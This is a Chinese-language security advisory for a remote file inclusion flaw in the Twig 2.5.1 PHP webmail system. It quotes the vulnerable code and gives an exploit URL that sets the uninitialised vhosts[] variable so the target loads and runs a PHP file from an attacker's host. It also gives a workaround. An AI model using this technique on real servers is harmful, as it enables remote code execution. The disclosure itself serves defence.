Twig 执行任意远程脚本漏洞
2005-10-01
系统编号:
WAVDB-00698
影响版本:
Twig 2.5.1
程序介绍:
Twig是用PHP3写的WWW方式的电子邮件系统。
漏洞分析:
2.5.1版以及某些早期版本的Twig存在一个设计上的漏洞,远程攻击者利用该漏洞可以访问到WWW服务器上的非授权本地资源。
Twig附带了一个脚本index.php3,该脚本中使用一个名为vhosts[]的变量,包含了WWW服务器上各个虚拟主机入口。index.php3根据vhosts[]变量获取php3 include文件。不幸的是该变量在被引用前未被初始化,远程攻击者可以设置该变量为任意值,如果所指向的恶意主机存在有效的php3 include文件,其中的脚本内容将被加载/执行。
有问题的代码部分:
// Allow for virtual hosting
$config_dir = "config";
if( $vhosts[$SERVER_NAME] )
$config_dir = $vhosts[$SERVER_NAME];
include( $config_dir . "/config.inc.php3" );
include( $config_dir . "/images.inc.php3" );
}
漏洞利用:
1. 在一个不支持php3的免费主页站点申请一个帐号,上传一个config.inc.php3文件,
里面包含"<? phpinfo(); ?>"(显示当前主机中的php信息)
2. 在使用有问题的twig的站点提交类似下列URL:
http://twig.vuln.site/index.php3?vhosts[twig.vuln.site]=http://free.host.machine/~mydir/
3. 问题主机将会包含进攻击者提供的config.inc.php3并予以执行
解决方案:
临时解决办法:
Shaun Clowes提供了一个临时解决方法:
在Twig的config/config.inc.php3的开头增加下列两行代码:
unset($config);
unset($vhosts);
出于安全考虑,也在config/dbconfig.inc.php3的开头增加下列代码:
unset($dbconfig);
厂商补丁:
暂无。
信息来源:
<* 来源:Joao Gouveia (cercthar@teleweb.pt) *>